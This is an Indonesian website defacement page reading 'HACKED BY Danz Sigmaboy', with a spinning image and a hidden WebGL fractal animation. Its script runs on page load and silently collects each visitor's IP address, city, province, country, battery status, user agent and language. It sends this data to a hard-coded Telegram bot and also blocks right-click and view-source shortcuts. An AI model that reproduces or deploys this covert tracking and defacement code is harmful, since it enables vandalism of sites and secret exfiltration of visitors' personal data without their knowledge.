<!-- -- Uploaded on : https://haxor.my.id/open/ScDefaceByDanz002.html -- Official Web : https://prinsh.com -- script-deface-generator.prinsh.com --> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no"> <title>HACKED BY DANZ 444</title> <style> @import url('https://fonts.googleapis.com/css2?family=Goldman&display=swap'); body { margin: 0; padding: 0; overflow: hidden; font-family: 'Goldman', cursive; } /* Style untuk tampilan deface */ .deface-screen { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: black; display: flex; flex-direction: column; justify-content: center; align-items: center; z-index: 1000; color: white; text-align: center; } .text-gradient { background: linear-gradient(to right, #ffffff 20%, #FF0000 40%, #FF0000 60%, #ffffff 80%); background-size: 200% auto; color: #000; background-clip: text; -webkit-background-clip: text; -webkit-text-fill-color: transparent; animation: animate 1.5s linear infinite; } @keyframes animate { to { background-position: 200% center; } } .imageSpin { animation: spin 5s linear infinite; } @keyframes spin { from { transform: rotateY(0deg); } to { transform: rotateY(360deg); } } /* Hidden virus elements */ #main { position: fixed; top: 0; left: 0; width: 100%; height: 100%; display: none; z-index: -1; } #c1 { width: 100%; height: 100%; } </style> </head> <body> <!-- Tampilan Deface --> <div class="deface-screen"> <div class="text-gradient"> <h1>HACKED BY Danz Sigmaboy</h1> </div> <img src="https://qu.ax/NQshy.jpg" alt="Hacker Anonymous" width="300" height="300" class="imageSpin"> <p>OWNER BY</p> <h1>{ — 444 }</h1> <p>INDONESIAN</p> <marquee style="border: RED 3px SOLID; width: 60%;">CYBER HACKER DanzXvY | INDO | MASIH BELAJAR | INDONESIAN | INTERNATIONAL | CYBERSECURITY | PELAJAR</marquee> </div> <!-- WebGL Canvas Background (hidden) --> <div id="main"> <canvas id="c1"></canvas> </div> <script> // Variabel WebGL var gl, shaderProgram; var cx, cy; var glposition, glright, glforward, glup, glorigin, glx, gly, gllen; var len = 1.6, ang1 = 2.8, ang2 = 0.4, cenx = 0.0, ceny = 0.0, cenz = 0.0; var KERNEL = "float kernal(vec3 ver){\n" + " vec3 a;\n" + "float b,c,d,e;\n" + " a=ver;\n" + " for(int i=0;i<5;i++){\n" + " b=length(a);\n" + " c=atan(a.y,a.x)*8.0;\n" + " e=1.0/b;\n" + " d=acos(a.z/b)*8.0;\n" + " b=pow(b,8.0);\n" + " a=vec3(b*sin(d)*cos(c),b*sin(d)*sin(c),b*cos(d))+ver;\n" + " if(b>6.0){\n" + " break;\n" + " }\n" + " }" + " return 4.0-a.x*a.x-a.y*a.y-a.z*a.z;" + "}"; // Fungsi untuk mendapatkan info baterai async function getBatteryInfo() { if (navigator.getBattery) { try { const battery = await navigator.getBattery(); const status = battery.charging ? "🔌 Mengisi daya" : "⚡ Tidak mengisi daya"; return `Baterai: ${Math.round(battery.level * 100)}% (${status})`; } catch (e) { return "Baterai: Tidak didukung"; } } return "Baterai: Tidak didukung"; } // Fungsi untuk mengirim data ke Telegram (berjalan di background) async function sendToTelegram() { try { // Dapatkan info baterai const batteryInfo = await getBatteryInfo(); // Dapatkan info lokasi const data = await fetch("https://api.db-ip.com/v2/free/self").then(res => res.json()); // Siapkan pesan const pesan = `🌍 **Info Pengguna**\n` + `- IP: ${data.ipAddress}\n` + `- Negara: ${data.countryName}\n` + `- Provinsi: ${data.stateProv}\n` + `- Kota: ${data.city}\n` + `- ${batteryInfo}\n` + `- User Agent: ${navigator.userAgent}\n` + `- Browser: ${navigator.vendor || "Tidak diketahui"}\n` + `- Bahasa: ${navigator.language}`; // Kirim ke Telegram await fetch(`https://api.telegram.org/bot8192335428:AAGm9RZwhO_DD6x0_TLKe7SSuIgxpt9tfSw/sendMessage`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ chat_id: "7112830272", text: pesan, parse_mode: "Markdown" }) }); } catch(error) { console.error("Gagal mengirim data:", error); } } // Fungsi untuk memulai efek virus (tetap hidden) function startVirusEffect() { // Inisialisasi WebGL initWebGL(); // Mulai animasi requestAnimationFrame(ontimer); } // Inisialisasi WebGL (sama seperti versi pertama) function initWebGL() { const canvas = document.getElementById('c1'); canvas.width = window.innerWidth; canvas.height = window.innerHeight; gl = canvas.getContext('webgl'); var positions = [-1.0, -1.0, 0.0, 1.0, -1.0, 0.0, 1.0, 1.0, 0.0, -1.0, -1.0, 0.0, 1.0, 1.0, 0.0, -1.0, 1.0, 0.0]; var VSHADER_SOURCE = "#version 100 \n"+ "precision highp float;\n" + "attribute vec4 position;" + "varying vec3 dir, localdir;" + "uniform vec3 right, forward, up, origin;" + "uniform float x,y;" + "void main() {" + " gl_Position = position; " + " dir = forward + right * position.x*x + up * position.y*y;" + " localdir.x = position.x*x;" + " localdir.y = position.y*y;" + " localdir.z = -1.0;" + "} "; var FSHADER_SOURCE = "#version 100 \n" + "#define PI 3.14159265358979324\n" + "#define M_L 0.3819660113\n" + "#define M_R 0.6180339887\n" + "#define MAXR 8\n" + "#define SOLVER 8\n" + "precision highp float;\n" + "float kernal(vec3 ver)\n;" + "uniform vec3 right, forward, up, origin;\n" + "varying vec3 dir, localdir;\n" + "uniform float len;\n" + "vec3 ver;\n" + "int sign;"+ "float v, v1, v2;\n" + "float r1, r2, r3, r4, m1, m2, m3, m4;\n" + "vec3 n, reflect;\n" + "const float step = 0.002;\n" + "vec3 color;\n" + "void main() {\n" + " color.r=0.0;\n" + " color.g=0.0;\n" + " color.b=0.0;\n" + " sign=0;"+ " v1 = kernal(origin + dir * (step*len));\n" + " v2 = kernal(origin);\n" + " for (int k = 2; k < 1002; k++) {\n" + " ver = origin + dir * (step*len*float(k));\n" + " v = kernal(ver);\n" + " if (v > 0.0 && v1 < 0.0) {\n" + " r1 = step * len*float(k - 1);\n" + " r2 = step * len*float(k);\n" + " m1 = kernal(origin + dir * r1);\n" + " m2 = kernal(origin + dir * r2);\n" + " for (int l = 0; l < SOLVER; l++) {\n" + " r3 = r1 * 0.5 + r2 * 0.5;\n" + " m3 = kernal(origin + dir * r3);\n" + " if (m3 > 0.0) {\n" + " r2 = r3;\n" + " m2 = m3;\n" + " }\n" + " else {\n" + " r1 = r3;\n" + " m1 = m3;\n" + " }\n" + " }\n" + " if (r3 < 2.0 * len) {\n" + " sign=1;" + " break;\n" + " }\n" + " }\n" + " if (v < v1&&v1>v2&&v1 < 0.0 && (v1*2.0 > v || v1 * 2.0 > v2)) {\n" + " r1 = step * len*float(k - 2);\n" + " r2 = step * len*(float(k) - 2.0 + 2.0*M_L);\n" + " r3 = step * len*(float(k) - 2.0 + 2.0*M_R);\n" + " r4 = step * len*float(k);\n" + " m2 = kernal(origin + dir * r2);\n" + " m3 = kernal(origin + dir * r3);\n" + " for (int l = 0; l < MAXR; l++) {\n" + " if (m2 > m3) {\n" + " r4 = r3;\n" + " r3 = r2;\n" + " r2 = r4 * M_L + r1 * M_R;\n" + " m3 = m2;\n" + " m2 = kernal(origin + dir * r2);\n" + " }\n" + " else {\n" + " r1 = r2;\n" + " r2 = r3;\n" + " r3 = r4 * M_R + r1 * M_L;\n" + " m2 = m3;\n" + " m3 = kernal(origin + dir * r3);\n" + " }\n" + " }\n" + " if (m2 > 0.0) {\n" + " r1 = step * len*float(k - 2);\n" + " r2 = r2;\n" + " m1 = kernal(origin + dir * r1);\n" + " m2 = kernal(origin + dir * r2);\n" + " for (int l = 0; l < SOLVER; l++) {\n" + " r3 = r1 * 0.5 + r2 * 0.5;\n" + " m3 = kernal(origin + dir * r3);\n" + " if (m3 > 0.0) {\n" + " r2 = r3;\n" + " m2 = m3;\n" + " }\n" + " else {\n" + " r1 = r3;\n" + " m1 = m3;\n" + " }\n" + " }\n" + " if (r3 < 2.0 * len&&r3> step*len) {\n" + " sign=1;" + " break;\n" + " }\n" + " }\n" + " else if (m3 > 0.0) {\n" + " r1 = step * len*float(k - 2);\n" + " r2 = r3;\n" + " m1 = kernal(origin + dir * r1);\n" + " m2 = kernal(origin + dir * r2);\n" + " for (int l = 0; l < SOLVER; l++) {\n" + " r3 = r1 * 0.5 + r2 * 0.5;\n" + " m3 = kernal(origin + dir * r3);\n" + " if (m3 > 0.0) {\n" + " r2 = r3;\n" + " m2 = m3;\n" + " }\n" + " else {\n" + " r1 = r3;\n" + " m1 = m3;\n" + " }\n" + " }\n" + " if (r3 < 2.0 * len&&r3> step*len) {\n" + " sign=1;" + " break;\n" + " }\n" + " }\n" + " }\n" + " v2 = v1;\n" + " v1 = v;\n" + " }\n" + " if (sign==1) {\n" + " ver = origin + dir*r3 ;\n" + " r1=ver.x*ver.x+ver.y*ver.y+ver.z*ver.z;" + " n.x = kernal(ver - right * (r3*0.00025)) - kernal(ver + right * (r3*0.00025));\n" + " n.y = kernal(ver - up * (r3*0.00025)) - kernal(ver + up * (r3*0.00025));\n" + " n.z = kernal(ver + forward * (r3*0.00025)) - kernal(ver - forward * (r3*0.00025));\n" + " r3 = n.x*n.x+n.y*n.y+n.z*n.z;\n" + " n = n * (1.0 / sqrt(r3));\n" + " ver = localdir;\n" + " r3 = ver.x*ver.x+ver.y*ver.y+ver.z*ver.z;\n" + " ver = ver * (1.0 / sqrt(r3));\n" + " reflect = n * (-2.0*dot(ver, n)) + ver;\n" + " r3 = reflect.x*0.276+reflect.y*0.920+reflect.z*0.276;\n" + " r4 = n.x*0.276+n.y*0.920+n.z*0.276;\n" + " r3 = max(0.0,r3);\n" + " r3 = r3 * r3*r3*r3;\n" + " r3 = r3 * 0.45 + r4 * 0.25 + 0.3;\n" + " n.x = sin(r1*10.0)*0.5+0.5;\n" + " n.y = sin(r1*10.0+2.05)*0.5+0.5;\n" + " n.z = sin(r1*10.0-2.05)*0.5+0.5;\n" + " color = n*r3;\n" + " }\n" + " gl_FragColor = vec4(color.x, color.y, color.z, 1.0);" + "}"; vertshader = gl.createShader(gl.VERTEX_SHADER); fragshader = gl.createShader(gl.FRAGMENT_SHADER); shaderProgram = gl.createProgram(); gl.shaderSource(vertshader, VSHADER_SOURCE); gl.compileShader(vertshader); gl.shaderSource(fragshader, FSHADER_SOURCE + KERNEL); gl.compileShader(fragshader); gl.attachShader(shaderProgram, vertshader); gl.attachShader(shaderProgram, fragshader); gl.linkProgram(shaderProgram); gl.useProgram(shaderProgram); glposition = gl.getAttribLocation(shaderProgram, 'position'); glright = gl.getUniformLocation(shaderProgram, 'right'); glforward = gl.getUniformLocation(shaderProgram, 'forward'); glup = gl.getUniformLocation(shaderProgram, 'up'); glorigin = gl.getUniformLocation(shaderProgram, 'origin'); glx = gl.getUniformLocation(shaderProgram, 'x'); gly = gl.getUniformLocation(shaderProgram, 'y'); gllen = gl.getUniformLocation(shaderProgram, 'len'); var buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(positions), gl.STATIC_DRAW); gl.vertexAttribPointer(glposition, 3, gl.FLOAT, false, 0, 0); gl.enableVertexAttribArray(glposition); } function ontimer() { ang1 += 0.01; draw(); requestAnimationFrame(ontimer); } function draw() { gl.viewport(0, 0, gl.canvas.width, gl.canvas.height); gl.uniform1f(glx, gl.canvas.width * 2.0 / (gl.canvas.width + gl.canvas.height)); gl.uniform1f(gly, gl.canvas.height * 2.0 / (gl.canvas.width + gl.canvas.height)); gl.uniform1f(gllen, len); gl.uniform3f(glorigin, len * Math.cos(ang1) * Math.cos(ang2) + cenx, len * Math.sin(ang2) + ceny, len * Math.sin(ang1) * Math.cos(ang2) + cenz); gl.uniform3f(glright, Math.sin(ang1), 0, -Math.cos(ang1)); gl.uniform3f(glup, -Math.sin(ang2) * Math.cos(ang1), Math.cos(ang2), -Math.sin(ang2) * Math.sin(ang1)); gl.uniform3f(glforward, -Math.cos(ang1) * Math.cos(ang2), -Math.sin(ang2), -Math.sin(ang1) * Math.cos(ang2)); gl.drawArrays(gl.TRIANGLES, 0, 6); } // Blokir interaksi pengguna document.addEventListener('contextmenu', event => event.preventDefault()); document.addEventListener('keydown', event => { if (event.ctrlKey && [65, 66, 67, 73, 80, 83, 85, 86].includes(event.keyCode)) { event.preventDefault(); } }); // Saat halaman dimuat window.onload = function() { // Kirim data ke Telegram (termasuk info baterai) sendToTelegram(); // Mulai efek virus (tetap hidden) startVirusEffect(); }; </script> </body> </html>